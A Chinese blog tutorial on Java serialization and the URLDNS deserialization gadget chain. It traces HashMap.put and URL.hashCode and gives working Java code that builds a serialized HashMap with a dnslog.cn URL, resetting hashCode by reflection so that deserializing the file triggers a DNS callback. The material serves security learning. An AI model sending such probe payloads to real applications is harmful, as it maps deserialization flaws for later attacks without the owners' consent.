URLDNS链学习

首先我们先理解一下序列化与反序列化,我先贴出三段代码,大家可以尝试先体验一下。

首先我们先构造一个Person类,其实跟这条链没什么关系,主要涉及序列化

点击查看代码
// 引入 Java 的 Serializable 接口,这是必需的,以便该类的对象可以被序列化和反序列化。
import java.io.Serializable;
// 定义一个公开的类 Person,实现了 Serializable 接口。
// 实现 Serializable 接口是告诉 Java 这个类的对象可以被序列化(转换为一系列字节)和反序列化(从字节序列恢复为对象)。
public class Person implements Serializable {
// 定义私有变量 name,类型为 String。私有的意思是这个变量只能在本类内部被访问。
private String name;
// 定义私有变量 age,类型为 int。
private int age; // 定义无参数的构造函数。如果没有其他构造函数,Java会自动提供这样一个无参数的构造函数。
// 这里显式定义是为了清楚表明这个类有一个无参数的构造选项。
public Person() {
} // 定义一个带有两个参数的构造函数,接收一个字符串 name 和一个整数 age。
// 这个构造函数用来创建一个具有特定名字和年龄的 Person 对象。
public Person(String name, int age) {
this.name = name; // 将传入的参数 name 赋值给成员变量 name。
this.age = age; // 将传入的参数 age 赋值给成员变量 age。
} // 覆盖了 Object 类的 toString 方法。
// toString 方法用于返回对象的字符串表示形式,通常用于调试和日志记录。
@Override
public String toString() {
return "Person{" +
"name = " + name + '\'' + // 将成员变量 name 加入到返回的字符串中。
", age = " + age + // 将成员变量 age 加入到返回的字符串中。
'}';
}
}

序列化类

序列化: 在 Java 中,序列化是通过 ObjectOutputStream 类实现的。当调用 writeObject() 方法时,它会检查传入的对象是否实现了 Serializable 接口。如果实现了,Java 序列化机制就会自动处理该对象及其所有的子对象的序列化过程,并将其转换成一个连续的字节流,然后将这些字节写入到指定的输出流(在本例中是文件 "ser.bin")。

点击查看代码
// 引入必要的 Java 标准库,以便进行文件操作、网络通信等。
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; // 定义一个名为 SerializationTest 的公开类,用于测试序列化。
public class SerializationTest {
// 定义一个静态方法 serialize,用于序列化任意对象。
// 方法接收一个 Object 类型的参数 obj,表示要被序列化的对象。
public static void serialize(Object obj) throws IOException {
// 创建一个 ObjectOutputStream 对象 oos,它被连接到一个名为 "ser.bin" 的文件的 FileOutputStream。
// ObjectOutputStream 用于将对象的序列化表示写入到输出流中。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// 使用 ObjectOutputStream 的 writeObject 方法将 obj 对象写入到前面创建的文件中。
// 这是实际执行序列化操作的地方,对象状态被转化为字节序列并保存。
oos.writeObject(obj);
} // 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 创建一个 Person 对象,名字为 "aa",年龄为 22。
Person person = new Person("aa", 22); // 调用前面定义的 serialize 方法,传入 person 对象进行序列化。
// 该调用会将 person 对象的状态保存到名为 "ser.bin" 的文件中。
serialize(person);
}
}

反序列化类

反序列化: 在 Java 中,反序列化是通过 ObjectInputStream 类实现的。当调用 readObject() 方法时,Java 反序列化机制从输入流中读取之前序列化的字节流,将其转换回原来的对象,并确保所有对象的类型信息和数据都被正确恢复。

点击查看代码
// 引入必要的 Java 输入输出库,这些库提供了文件操作和对象输入输出流的功能。
import java.io.*;
import java.io.IOException;
import java.io.ObjectInputStream; // 定义一个名为 UnserializeTest 的公开类,用于测试反序列化。
public class UnserializeTest {
// 定义一个静态方法 unserialize,用于从文件中反序列化对象。
// 方法接收一个字符串参数 Filename,表示包含序列化对象数据的文件名。
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
// 创建一个 ObjectInputStream 对象 ois,它被连接到一个名为 Filename 的文件的 FileInputStream。
// ObjectInputStream 用于从输入流中读取对象的序列化表示。
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 使用 ObjectInputStream 的 readObject 方法读取并返回反序列化的对象。
// 这是实际执行反序列化操作的地方,字节序列被转化回 Java 对象。
Object obj = ois.readObject();
return obj;
} // 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 调用 unserialize 方法,从文件 "ser.bin" 中反序列化对象。
// 将返回的 Object 强制类型转换为 Person 类型。
Person person = (Person) unserialize("ser.bin");
// 打印反序列化得到的 Person 对象。
// 调用 Person 类的 toString 方法,显示对象的详细信息。
System.out.println(person);
}
}

下面我们来讲一下DNS链

点击查看代码
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

代码主要是先找到URL类里面的hashCode()方法

点击查看代码
// 定义一个公共的同步方法 hashCode,返回一个整型值。
// 'synchronized' 关键字确保在同一时刻只有一个线程可以执行这个方法,防止多线程环境下的数据竞争。
public synchronized int hashCode() {
// 如果实例变量 hashCode 的值不是 -1,说明之前已经计算过哈希码,并缓存了结果。
// 这是一种提高效率的做法,避免重复计算哈希值。
if (hashCode != -1)
return hashCode; // 直接返回已经计算好的哈希码。 // 如果 hashCode 是 -1,说明还没有计算过哈希码,需要计算。
// 调用 handler 的 hashCode 方法来计算当前对象的哈希码。
// 这里的 handler 是一个假定存在的字段或者变量,可能是这个类的一个属性,负责具体的哈希计算逻辑。
hashCode = handler.hashCode(this); // 返回新计算的哈希码。
return hashCode;
}

然后我们跟进这里的hashCode

走到URLStreamHandler这个类中,看到hashCode这个方法,发现getHostAddress这个方法,实际上意思就是根据域名来获取地址

获取主机的 IP 地址。如果主机字段为空或 DNS 解析失败,将返回 null。

这个链其实就是两部分的内容,首先是,HashMap方法里面调用了hashCode()方法, 通过这个hashCode()方法,就可以走到URL这里的hashCode()方法。

这个时候我们就可以写一下代码,尝试执行以下请求DNSlog

点击查看代码
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
} public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL(""),1);
serialize(person);
}
}

我们跟进这个URL类,看一卡它的构造函数是怎么写的,然后我们就知道放什么了

这里的意思是放一个链接进行就行,所以上面代码中URL传参,就可以放一个DNSLOG进去

现在我们尝试去进行序列化,然后在反序列化的时候,使其发送请求,看是否可以

进行序列化,发现已经请求了DNSlog

为什么在没有进行反序列化的时候,就可以发送请求,我们跟进put方法看一下

点击查看代码
/**
* 将指定的键和值添加到这个map中。
*
* @param key 要与指定值关联的键。
* @param value 与指定键关联的值。
* @return 如果该键之前已经有对应的值,则返回旧值;否则返回null。
*/
public V put(K key, V value) {
// 调用putVal方法实现键值对的添加。hash(key)计算键的哈希值。
// 参数说明:
// - hash(key): 根据键计算出的哈希值,用于确定键值对在map中的存储位置。
// - key: 要添加到map中的键。
// - value: 要与键关联的值。
// - false: 表示不是用来替代整个map的。
// - true: 表明结构(buckets)可能需要改变(如rehashing、扩容等)。
return putVal(hash(key), key, value, false, true);
}

意思就是为了确保键值对的唯一,在HashMap这个类中,已经调用了hash方法,转而调用了hashCode方法,然后就在未序列化之前发送了请求。

为什么呢,因为在URL类的hashCode()方法中,有一个判断就是,意思前面也讲过,就是如果hashCode不等于-1,就直接返回,不会执行下面的代码

点击查看代码
if (hashCode != -1)
return hashCode;

hashCode只有在初始化的时候才是-1

但是我们在代码中去调用put方法的时候,就已经改变了值,所以hashCode在序列化的时候就已经不是-1了,所以在进行反序列化,就不会执行。

所以我们就要尝试进行

我们在第一次序列化的时候,不想让URL发起请求,如果当这个hash Code当时已经不是-1了,这样我们就不会在put的时候发起请求了

所以我们需要在反序列化之前,把hashCode改回来

直接看代码,通过反射

点击查看代码
 public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://rdpr0d.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
serialize(hashmap);
}
}

无DNslog回显,证明已经修改了hashCode的值不等于-1.

然后我们将代码下面新增一行,将hashCode改为-1

在进行反序列化,可以看到dnslog已经成功记录到了

点击查看代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
} public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://5cv1ga.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
hashcodefield.set(url,-1);
serialize(hashmap);
}
}

在反序列化Debug后,在URL.hashCode处下个断点,可以发现已经成功改成-1了

证明赋值已经成功了,成功发起了DNS请求

简单的UrlDns链分析的更多相关文章

  1. Java安全之URLDNS链

    Java安全之URLDNS链 0x00 前言 在学习Java的反序列化漏洞的时候,就不得不学习他的一个利用链.很多刚刚入门的对于利用链这个词可能比较陌生.那么这里先来了解一下Java反序列化和反序列化 ...

  2. 一步一步学习FastJson1.2.47远程命令执行漏洞

    本文首发于先知:https://xz.aliyun.com/t/6914 漏洞分析 FastJson1.2.24 RCE 在分析1.2.47的RCE之前先对FastJson1.2.24版本中的RCE进 ...

  3. javascript中继承方式及优缺点(一)

    分别介绍原型链继承.call/apply继承(借用构造函数继承).组合继承.原型式继承.寄生式继承.寄生组合式继承 1. 原型链继承 核心:将父类的实例作为子类的原型 function SuperTy ...

  4. yso中URLDNS的pop链分析(重新分析整理)

    #发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...

  5. [原创]基于SpringAOP开发的方法调用链分析框架

    新人熟悉项目必备工具!基于SpringAOP开发的一款方法调用链分析插件,简单到只需要一个注解,异步非阻塞,完美嵌入Spring Cloud.Dubbo项目!再也不用担心搞不懂项目! 很多新人进入一家 ...

  6. Linux内核通知链分析【转】

    转自:http://www.cnblogs.com/jason-lu/articles/2807758.html Linux内核通知链分析 1. 引言 Linux是单内核架构(monolithic k ...

  7. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  8. ysoserial分析【二】7u21和URLDNS

    目录 7u21 gadget链分析 hashCode绕过 参考 URLDNS 7u21 7u21中利用了TemplatesImpl来执行命令,结合动态代理.AnnotationInvocationHa ...

  9. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  10. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

随机推荐

  1. Educational Codeforces Round 145 (Rated for Div. 2)C. Sum on Subarrays(构造)

    很意思的一道构造题 题意:给一个\(n.k\),让构造长度为n的数组满足,子数组为整数的个数为k个,负数的为\(k-(n+1)* n/2\),每个数的范围为\([-1000,1000]\) 这种构造题 ...

  2. Scala学习历险记(第一天)

    Scala学习笔记(一) 前言:由于最近要整大数据相关的东西,所以java开发的我很苦逼的来学习Scala了,为接下来的工作做知识储备,今天是2021年8月19号,是我接触scala语言的第一天,因此 ...

  3. 摆脱鼠标系列 - vscode 花括号 开始结束 间的跳转 Ctrl + Shift + \

    为什么 摆脱鼠标系列 - vscode 花括号 开始结束 间的跳转 Ctrl + Shift + \ 快速移动到下一个 注意有时候输入法会有问题 因为 Ctrl + Shift 是切换输入法,所以回头 ...

  4. 单麦克风AI降噪模块及解决方案

    前记   随着以AI为核心的智能设备的广泛发展,语音这个非常重要的入口一直是很多厂商争夺的市场.作为音频采集的前端设备,能采集到的距离远,清晰度高,无噪声的信号是一个非常重要的能力.这样就对音频前端降 ...

  5. MySQL 如何以当前日期时间作为字段初始默认值?

    1.以当前时间作为默认值 使用 DEFAULT CURRENT_TIMESTAMP 声明字段,插入记录时不用指定 dt,自动置入当前时间 CREATE TABLE t1 ( dt DATETIME D ...

  6. Welcome to YARP - 1.认识 YARP 并构建反向代理服务

    目录 Welcome to YARP - 1.认识YARP并搭建反向代理服务 Welcome to YARP - 2.配置功能 Welcome to YARP - 3.负载均衡 Welcome to ...

  7. 【Leetcode】768. 最多能完成排序的块 II

    题目(链接) arr是一个可能包含重复元素的整数数组,我们将这个数组分割成几个"块",并将这些块分别进行排序.之后再连接起来,使得连接的结果和按升序排序后的原数组相同. 我们最多能 ...

  8. 记录--h5调用手机摄像头踩坑

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 1. 背景 一般业务也很少接触摄像头,有也是现成的工具库扫个二维码.难得用一次,记录下踩坑. 2.调用摄像头的方法 2.1. input ...

  9. 计算机网络-Keep Alive

    问题背景 介绍两个经典的网络问题, 问题1: 访问位于Azure Application Gateway之后的nodejs server, 偶尔会触发502 问题2: 请求一个Azure App Se ...

  10. 使用Go语言开发一个短链接服务:一、基本原理

    章节  使用Go语言开发一个短链接服务:一.基本原理  使用Go语言开发一个短链接服务:二.架构设计  使用Go语言开发一个短链接服务:三.项目目录结构设计  使用Go语言开发一个短链接服务:四.生成 ...